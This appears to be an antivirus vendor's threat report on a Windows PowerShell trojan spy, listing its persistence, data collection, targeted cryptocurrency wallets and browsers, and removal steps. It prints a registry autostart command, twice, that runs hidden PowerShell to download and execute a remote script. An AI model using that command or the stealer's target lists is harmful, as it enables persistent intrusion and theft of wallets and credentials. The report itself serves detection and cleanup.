Analysis by: Raighen Sanchez
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan Spy

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It executes commands from a remote malicious user, effectively compromising the affected system. It connects to a website to send and receive information.

However, as of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size: 26,470 bytes
File Type: PS1
Memory Resident: Yes
Initial Samples Received Date: 08 Apr 2025
Payload: Collects system information, Connects to URLs/IPs, Steals information

Arrival Details

This Trojan Spy arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan Spy adds the following mutexes to ensure that only one of its copies runs at any one time:

  • 62088a7b-ae9f-6776-77a-6e9c921cb48e

Autostart Technique

This Trojan Spy adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Edge Sync = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"& { Invoke-Command -ScriptBlock ([scriptblock]::Create((Invoke-RestMethod -Uri 'https://{BLOCKED}rFixed/$subfolder/payload/remote/general.ps1' ))) -ArgumentList $build, $serverFixed, $subfolder }`""

Propagation

This Trojan Spy does not have any propagation routine.

Backdoor Routine

This Trojan Spy executes the following commands from a remote malicious user:

  • Execute Arbitrary Commands

It connects to the following websites to send and receive information:

  • https://{BLOCKED}tertoken.com:8081

Information Theft

This Trojan Spy gathers the following data:

  • Public IP Address
  • IP Address Location
  • OS Version
  • List of Installed Anti-Virus
  • Firewall Status
  • Total Uptime of System

Other Details

This Trojan Spy connects to the following URL(s) to get the affected system's IP address:

  • https://{BLOCKED}fy.org
  • http://{BLOCKED}o.io/$ipAddress/json

It does the following:

  • It steals local cryptocurrency wallet information from:
    • Armory
    • Atomic
    • Bitcoin
    • Binance
    • Bytecoin
    • Coinomi
    • Dash
    • Electrum
    • Ethereum
    • Exodus
    • Guarda
    • com.liberty.jaxx
    • Litecoin
    • MyMonero
    • Monero GUI
    • WallerWasabi
    • Zcash
    • Trezor
    • TronLink
    • Trustwallet
    • Metamask
    • Phantom
    • Sollet
    • Keplr
    • Nifty Wallet
    • Zelcore
    • Zephyr
  • It steals browser data from:
    • Brave
    • Chrome
    • Chromium
    • Edge
    • EpicPrivacy
    • Iridium
    • Opera
    • OperaGX
    • Vivaldi
    • Yandex
    • Firefox
    • Pale Moon
    • Waterfox
  • It steals information from cryptocurrency wallet in browsers:
    • Argent X
    • Binance Chain WAllet
    • BitKeep Wallet
    • BlockWallet
    • Crypto.com
    • Enkrypt
    • Ethos Sui
    • ExodusWeb3
    • Guarda
    • Keplr
    • MathWallet
    • Metamask
    • Metamask2
    • OKX
    • OneKey
    • Phantom
    • Ronin
    • SafePal
    • TokenPocket
    • Ton
    • TronLink
    • Trust Wallet
    • Wombat
    • Zeal
    • Rabby
    • Fireblocks
    • Nifty Wallet
    • Sollet
    • PetraAptos
    • XDEFI
    • Nami
    • TerraStation
    • MartianAptos
    • SuietSui
    • Braavos
    • FewchaMove
    • NiftyWallet
    • BraveWallet
    • EqualWallet
    • BitAppWallet
    • iWallet
    • AtomicWallet
    • MewCx
    • GuildWallet
    • SaturnWallet
    • HarmonyWallet
    • PaliWallet
    • BoltX
    • LiqualityWallet
    • MaiarDeFiWallet
    • TempleWallet
    • Ronin_E
    • Yoroi_E
    • MetaMask_O
  • It checks if the affected system has installed the following VPN service:
    • Cisco Systems
    • Palo Alto networks
    • Fortinet
    • OpenVPN
    • WireGuard
  • It checks if the current user has admin privileges.

However, as of this writing, the said sites are inaccessible.

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 20.160.02
FIRST VSAPI PATTERN DATE: 23 Apr 2025
VSAPI OPR PATTERN File: 20.161.00
VSAPI OPR PATTERN Date: 24 Apr 2025

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

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Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • Edge Sync = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command `"& { Invoke-Command -ScriptBlock ([scriptblock]::Create((Invoke-RestMethod -Uri 'https://{BLOCKED}rFixed/$subfolder/payload/remote/general.ps1' ))) -ArgumentList $build, $serverFixed, $subfolder }`""

Step 4

Scan your computer with your Trend Micro product to delete files detected as TrojanSpy.PS1.POWEATER.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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